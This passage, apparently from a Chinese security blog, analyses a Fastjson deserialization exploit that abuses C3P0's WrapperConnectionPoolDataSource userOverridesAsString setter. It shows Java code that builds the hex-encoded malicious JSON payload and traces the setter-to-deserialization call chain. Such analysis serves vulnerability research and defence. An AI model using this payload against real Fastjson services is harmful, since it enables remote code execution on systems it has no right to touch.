AAeHAAAAABc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAhiMXVlbDBuM3g=");
String hex = ByteUtils.toHexAscii(exp);
String fullhex = HASM_HEADER + hex + ";";
String text = "{\"1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"}, " +
"\"2\":{\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\"userOverridesAsString\":\""+fullhex+"\",\"autoCommit\":true}}";
JSON.parseObject(text);
}
}

image-20251219213648587

但这有个问题,就是fastjson在利用时是先实例化类再调用setter和getter方法的,那么在实例化时导致getUserOverridesAsString方法返回默认值null,那么这又是如何执行的呢?

这是因为setUserOverridesAsString方法底下的逻辑:

image-20251219213827576

经过eqOrBothNull方法判断:

image-20251219213920918

在第一次调用时oldVal为null,返回false,这会导致进入if语句:
image-20251219214019565

image-20251219214047831

vcc默认为VetoableChangeSupport对象,然后调用fireVetoableChange方法,这里由于oldVal为空调用fireVetoableChange的另一个重载方法:

image-20251219214310710

listeners[current]这里会取出WrapperConnectionPoolDataSource对象,跟进vetoableChange方法:

image-20251219214723427

分别获取变量名和值

image-20251219214830364

如果变量名是userOverridesAsString,会在这触发C3P0ImplUtils.parseUserOverridesAsString方法,传入设置的值

所以真正的调用链应该是从setUserOverridesAsString方法开始

1
2
3
4
5
6
7
8
9
10
11
WrapperConnectionPoolDataSource#setUserOverridesAsString

VetoableChangeSupport#fireVetoableChange

WrapperConnectionPoolDataSource#vetoableChange

C3P0ImplUtils#parseUserOverridesAsString

SerializableUtils#fromByteArray

SerializableUtils#deserializeFromByteArray